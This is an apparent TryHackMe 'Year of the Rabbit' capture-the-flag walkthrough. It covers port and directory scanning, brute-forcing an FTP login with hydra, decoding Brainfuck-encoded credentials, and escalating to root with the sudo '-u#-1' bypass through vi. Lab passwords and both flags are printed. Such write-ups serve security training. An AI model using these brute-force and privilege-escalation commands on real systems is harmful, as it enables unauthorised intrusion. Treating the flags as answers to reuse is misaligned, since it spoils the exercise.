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Task 1: Flags

Question

What is the user flag?

  • Let's scan the target machine using nmap.

$ nmap -sC -sV 10.10.181.61
Starting Nmap 7.92 ( https://nmap.org ) at 2023-12-06 22:24 IST
Nmap scan report for 10.10.181.61
Host is up (0.13s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.2
22/tcp open  ssh     OpenSSH 6.7p1 Debian 5 (protocol 2.0)
| ssh-hostkey: 
|   1024 a0:8b:6b:78:09:39:03:32:ea:52:4c:20:3e:82:ad:60 (DSA)
|   2048 df:25:d0:47:1f:37:d9:18:81:87:38:76:30:92:65:1f (RSA)
|   256 be:9f:4f:01:4a:44:c8:ad:f5:03:cb:00:ac:8f:49:44 (ECDSA)
|_  256 db:b1:c1:b9:cd:8c:9d:60:4f:f1:98:e2:99:fe:08:03 (ED25519)
80/tcp open  http    Apache httpd 2.4.10 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.10 (Debian)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.36 seconds

  • There are three open ports:

Port
Service

21

ftp

22

ssh

80

http

  • We can brute force the directories of the webpage using gobuster.

$ gobuster dir -u http://10.10.181.61 -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.181.61
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 277]
/.htpasswd            (Status: 403) [Size: 277]
/.htaccess            (Status: 403) [Size: 277]
/assets               (Status: 301) [Size: 313] [--> http://10.10.181.61/assets/]
/index.html           (Status: 200) [Size: 7853]
/server-status        (Status: 403) [Size: 277]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================

  • Let's go to the assets/ directory.

  • Let's check out the style.css file. We will avoid the RickRolled.mp4 file for obvious reasons.

  • So now we can go to /sup3r_s3cr3t_fl4g.php.

  • If we click OK we just get Rick Rolled.

  • Let's intercept the request in Burpsuite.

  • We can Forward this request.

  • Let's see what is in the /WExYY2Cv-qU directory.

  • We can download the Hot_Babe.png file using wget.

$ wget http://10.10.181.61/WExYY2Cv-qU/Hot_Babe.png
--2023-12-06 23:00:36--  http://10.10.181.61/WExYY2Cv-qU/Hot_Babe.png
Connecting to 10.10.181.61:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 475075 (464K) [image/png]
Saving to: ‘Hot_Babe.png’

Hot_Babe.png                                               100%[========================================================================================================================================>] 463.94K  92.9KB/s    in 5.0s    

2023-12-06 23:00:42 (92.9 KB/s) - ‘Hot_Babe.png’ saved [475075/475075]

  • Let's use the strings utility to see the strings present inside the file.

$ strings Hot_Babe.png
-- snip --;
Eh, you've earned this. Username for FTP is ftpuser
One of these is the password:
Mou+56n%QK8sr
1618B0AUshw1M
A56IpIl%1s02u
vTFbDzX9&Nmu?
FfF~sfu^UQZmT
8FF?iKO27b~V0
ua4W~2-@y7dE$
3j39aMQQ7xFXT
Wb4--CTc4ww*-
u6oY9?nHv84D&
0iBp4W69Gr_Yf
TS*%miyPsGV54
C77O3FIy0c0sd
O14xEhgg0Hxz1
5dpv#Pr$wqH7F
1G8Ucoce1+gS5
0plnI%f0~Jw71
0kLoLzfhqq8u&
kS9pn5yiFGj6d
zeff4#!b5Ib_n
rNT4E4SHDGBkl
KKH5zy23+S0@B
3r6PHtM4NzJjE
gm0!!EC1A0I2?
HPHr!j00RaDEi
7N+J9BYSp4uaY
PYKt-ebvtmWoC
3TN%cD_E6zm*s
eo?@c!ly3&=0Z
nR8&FXz$ZPelN
eE4Mu53UkKHx#
86?004F9!o49d
SNGY0JjA5@0EE
trm64++JZ7R6E
3zJuGL~8KmiK^
CR-ItthsH%9du
yP9kft386bB8G
A-*eE3L@!4W5o
GoM^$82l&GA5D
1t$4$g$I+V_BH
0XxpTd90Vt8OL
j0CN?Z#8Bp69_
G#h~9@5E5QA5l
DRWNM7auXF7@j
Fw!if_=kk7Oqz
92d5r$uyw!vaE
c-AA7a2u!W2*?
zy8z3kBi#2e36
J5%2Hn+7I6QLt
gL$2fmgnq8vI*
Etb?i?Kj4R=QM
7CabD7kwY7=ri
4uaIRX~-cY6K4
kY1oxscv4EB2d
k32?3^x1ex7#o
ep4IPQ_=ku@V8
tQxFJ909rd1y2
5L6kpPR5E2Msn
65NX66Wv~oFP2
LRAQ@zcBphn!1
V4bt3*58Z32Xe
ki^t!+uqB?DyI
5iez1wGXKfPKQ
nJ90XzX&AnF5v
7EiMd5!r%=18c
wYyx6Eq-T^9#@
yT2o$2exo~UdW
ZuI-8!JyI6iRS
PTKM6RsLWZ1&^
3O$oC~%XUlRO@
KW3fjzWpUGHSW
nTzl5f=9eS&*W
WS9x0ZF=x1%8z
Sr4*E4NT5fOhS
hLR3xQV*gHYuC
4P3QgF5kflszS
NIZ2D%d58*v@R
0rJ7p%6Axm05K
94rU30Zx45z5c
Vi^Qf+u%0*q_S
1Fvdp&bNl3#&l
zLH%Ot0Bw&c%9

  • Let's save the password to a file called ftp_passwords.txt.

  • Now using hydra we can brute force the FTP login.

$ hydra -l ftpuser -P /home/kunal/tryhackme/yearoftherabbit/ftp_passwords.txt ftp://10.10.181.61 -t 4
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-12-06 23:12:11
[DATA] max 4 tasks per 1 server, overall 4 tasks, 82 login tries (l:1/p:82), ~21 tries per task
[DATA] attacking ftp://10.10.181.61:21/
[21][ftp] host: 10.10.181.61   login: ftpuser   password: 5iez1wGXKfPKQ
[STATUS] 82.00 tries/min, 82 tries in 00:01h, 1 to do in 00:01h, 3 active
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-12-06 23:13:12

  • So the password for ftpuser is 5iez1wGXKfPKQ.

  • Let's login using those credentials.

$ ftp ftpuser@10.10.181.61
Connected to 10.10.181.61.
220 (vsFTPd 3.0.2)
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

  • Let's look around for important files.

ftp> ls
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
-rw-r--r--    1 0        0             758 Jan 23  2020 Eli's_Creds.txt
226 Directory send OK.

  • We can download the Eli's_Creds.txt file to our machine using the get command.

ftp> get Eli's_Creds.txt
local: Eli's_Creds.txt remote: Eli's_Creds.txt
200 EPRT command successful. Consider using EPSV.
150 Opening BINARY mode data connection for Eli's_Creds.txt (758 bytes).
100% |***********************************************************************************************************************************************************************************************|   758        0.74 KiB/s    --:-- ETA
226 Transfer complete.
758 bytes received in 00:00 (2.40 KiB/s)

  • Let's read the contents of the file.

$ cat Eli\'s_Creds.txt        
+++++ ++++[ ->+++ +++++ +<]>+ +++.< +++++ [->++ +++<] >++++ +.<++ +[->-
--<]> ----- .<+++ [->++ +<]>+ +++.< +++++ ++[-> ----- --<]> ----- --.<+
++++[ ->--- --<]> -.<++ +++++ +[->+ +++++ ++<]> +++++ .++++ +++.- --.<+
+++++ +++[- >---- ----- <]>-- ----- ----. ---.< +++++ +++[- >++++ ++++<
]>+++ +++.< ++++[ ->+++ +<]>+ .<+++ +[->+ +++<] >++.. ++++. ----- ---.+
++.<+ ++[-> ---<] >---- -.<++ ++++[ ->--- ---<] >---- --.<+ ++++[ ->---
--<]> -.<++ ++++[ ->+++ +++<] >.<++ +[->+ ++<]> +++++ +.<++ +++[- >++++
+<]>+ +++.< +++++ +[->- ----- <]>-- ----- -.<++ ++++[ ->+++ +++<] >+.<+
++++[ ->--- --<]> ---.< +++++ [->-- ---<] >---. <++++ ++++[ ->+++ +++++
<]>++ ++++. <++++ +++[- >---- ---<] >---- -.+++ +.<++ +++++ [->++ +++++
<]>+. <+++[ ->--- <]>-- ---.- ----. <

  • The text is in Brain Fuck.

  • We can use an online decoder to decode it.

  • The password for the eli user is DSpDiM1wAEwid.

  • We can try to login through SSH using these credentials.

$ ssh eli@10.10.181.61
The authenticity of host '10.10.181.61 (10.10.181.61)' can't be established.
ED25519 key fingerprint is SHA256:va5tHoOroEmHPZGWQySirwjIb9lGquhnIA1Q0AY/Wrw.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.181.61' (ED25519) to the list of known hosts.
eli@10.10.181.61's password: 


1 new message
Message from Root to Gwendoline:

"Gwendoline, I am not happy with you. Check our leet s3cr3t hiding place. I've left you a hidden message there"

END MESSAGE




eli@year-of-the-rabbit:~$

  • After a bit of searching we can find the user.txt file.

eli@year-of-the-rabbit:~$ cd ../gwendoline/
eli@year-of-the-rabbit:/home/gwendoline$ ls
user.txt

  • Let's try to read it.

eli@year-of-the-rabbit:/home/gwendoline$ cat user.txt 
cat: user.txt: Permission denied

  • The user eli does not have the permission to read the user.txt file.

  • Let's try to find the s3cr3t mentioned in the message.

eli@year-of-the-rabbit:~$ locate s3cr3t
/usr/games/s3cr3t
/usr/games/s3cr3t/.th1s_m3ss4ag3_15_f0r_gw3nd0l1n3_0nly!
/var/www/html/sup3r_s3cr3t_fl4g.php

  • We can now read the .th1s_m3ss4ag3_15_f0r_gw3nd0l1n3_0nly! file.

eli@year-of-the-rabbit:~$ cat /usr/games/s3cr3t/.th1s_m3ss4ag3_15_f0r_gw3nd0l1n3_0nly!
Your password is awful, Gwendoline. 
It should be at least 60 characters long! Not just MniVCQVhQHUNI
Honestly!

Yours sincerely
   -Root

  • So now we know that the password for gwendoline user is MniVCQVhQHUNI.

  • Let's switch users.

eli@year-of-the-rabbit:~$ su gwendoline
Password: 
gwendoline@year-of-the-rabbit:/home/eli$

  • We can now read the user.txt file we saw earlier.

gwendoline@year-of-the-rabbit:/home/eli$ cd /home/gwendoline/
gwendoline@year-of-the-rabbit:~$ cat user.txt 
THM{1107174691af9ff3681d2b5bdb5740b1589bae53}

Answer

THM{1107174691af9ff3681d2b5bdb5740b1589bae53}

What is the root flag?

  • We can check what commands gwendoline can execute using sudo.

gwendoline@year-of-the-rabbit:~$ sudo -l
Matching Defaults entries for gwendoline on year-of-the-rabbit:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User gwendoline may run the following commands on year-of-the-rabbit:
    (ALL, !root) NOPASSWD: /usr/bin/vi /home/gwendoline/user.txt

  • Let's check the version of sudo.

gwendoline@year-of-the-rabbit:~$ sudo -V
Sudo version 1.8.10p3
Sudoers policy plugin version 1.8.10p3
Sudoers file grammar version 43
Sudoers I/O plugin version 1.8.10p3

  • We can find an exploit for that version om Exploit-DB.

  • Let's craft our exploit.

gwendoline@year-of-the-rabbit:~$ sudo -u#-1 /usr/bin/vi /home/gwendoline/user.txt

  • Next we have to type the following:

  • We must have root access.

gwendoline@year-of-the-rabbit:~$ sudo -u#-1 /usr/bin/vi /home/gwendoline/user.txt

root@year-of-the-rabbit:/home/gwendoline#

  • Let's get the root flag.

root@year-of-the-rabbit:/home/gwendoline# cd /root/
root@year-of-the-rabbit:/root# cat root.txt 
THM{8d6f163a87a1c80de27a4fd61aef0f3a0ecf9161}

Answer

THM{8d6f163a87a1c80de27a4fd61aef0f3a0ecf9161}

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